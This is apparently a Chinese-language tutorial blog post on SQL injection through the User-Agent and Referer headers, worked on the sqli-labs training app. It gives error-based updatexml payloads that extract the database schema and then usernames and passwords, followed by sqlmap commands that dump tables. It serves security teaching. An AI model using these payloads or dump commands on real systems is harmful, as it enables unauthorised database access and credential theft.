HTTP头中的SQL注入

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTTP头中的SQL注入相关的知识,希望对你有一定的参考价值。

HTTP头中的SQL注入

1.HTTP头中的注入介绍

在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。

过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。
例如HTTP头中的User-AgentRefererCookies等。

2.HTTP User-Agent注入

就拿Sqli-Lab-Less18
这里的User-Agent是可控的,因此存在HTTP User-Agent注入

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)


Payload内容:

updatexml(xml_document,xpath_string,new_value):

第一个参数:XML文档对象名称。
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1


2.查看数据库

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到数据库security,获取数据表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1


4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1


5.获取字段内容
当我们使用下面的语句时,会报错Subquery returns more than 1 row

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1


返回的数据有多行,我们可以使用limit限制其只返回一条数据

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

3.HTTP Referer注入

Sqli-Lab19为例

' or '1'='1

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1


2.查看数据库

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1


3.得到数据库security,获取数据表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1


4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1


5.获取字段内容
当我们使用下面的语句时,会报错Subquery returns more than 1 row

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1


返回的数据有多行,我们可以使用limit限制其只返回一条数据

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

4.sqlmap安全测试

抓取数据包,将抓取的全部内容,放到文本文档中,并且在有可能存在注入点的地方加入星号(*)
1.爆破数据库

python2 sqlmap.py -r 1.txt --dbs


得到数据库信息

2.爆破数据表

python2 sqlmap.py -r 1.txt -D security --tables


得到数据表的信息

3.爆破字段及内容

python2 sqlmap.py -r 1.txt -D security -T users --dump


得到数据内容

PS

1.HTTP User-Agent注入HTTP Referer注入属于放包攻击,我们在放包的过程中,必须使用正确的用户名和密码;
2.如果探测出是HTTP头注入,在使用sqlmap跑的过程中,在末尾加上星号(*),可以提高渗透测试的效率

以上是关于HTTP头中的SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

MyBatis如何防止SQL注入

CRLF注入漏洞

CRLF注入原理

CRLF注入漏洞

SQL注入之User-Agent注入